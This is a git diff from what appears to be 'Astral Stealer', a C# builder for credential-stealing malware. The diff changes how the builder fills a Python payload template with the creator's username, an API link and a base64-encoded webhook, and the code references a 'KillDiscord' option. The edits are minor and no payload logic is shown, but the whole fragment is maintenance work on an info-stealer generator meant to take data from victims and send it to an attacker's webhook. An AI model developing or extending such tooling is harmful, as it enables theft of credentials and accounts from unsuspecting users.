diff --git a/Astral Stealer/Form1.cs b/Astral Stealer/Form1.cs index 3e52568..e215eac 100644 --- a/Astral Stealer/Form1.cs +++ b/Astral Stealer/Form1.cs @@ -3143,6 +3143,7 @@ private void GenerateCustomPythonScript() string baseFileName = ExeNameOutput.Text; string pythonCode = pythonCodeTemplate; + // Remplacer les options dans le template Python pythonCode = ReplaceOptionValue(pythonCode, "PC_CREATOR", Environment.UserName); pythonCode = ReplaceOptionValue(pythonCode, "API_LINK", ""); pythonCode = ReplaceOptionValue(pythonCode, "B64_WBH_STR", B64_WBH_STR.Text); @@ -3243,13 +3244,12 @@ private void GenerateCustomPythonScript() // Méthode pour remplacer une valeur dans le template de code Python private string ReplaceOptionValue(string template, string option, string value) { - return template.Replace($"{{{{ {option} }}}}", value); + return template.Replace($"%{option}%", value); } private void build_script_Click(object sender, EventArgs e) { GenerateCustomPythonScript(); - } private void KillDiscord_Options_CheckedChanged(object sender, EventArgs e) diff --git a/Astral Stealer/obj/Debug/net8.0-windows/Astral Stealer.dll b/Astral Stealer/obj/Debug/net8.0-windows/Astral Stealer.dll index 6c4e57f..b75f89f 100644 Binary files a/Astral Stealer/obj/Debug/net8.0-windows/Astral Stealer.dll and b/Astral Stealer/obj/Debug/net8.0-windows/Astral Stealer.dll differ diff --git a/Astral Stealer/obj/Debug/net8.0-windows/Astral Stealer.pdb b/Astral Stealer/obj/Debug/net8.0-windows/Astral Stealer.pdb index f5f2ad5..dd143f4 100644 Binary files a/Astral Stealer/obj/Debug/net8.0-windows/Astral Stealer.pdb and b/Astral Stealer/obj/Debug/net8.0-windows/Astral Stealer.pdb differ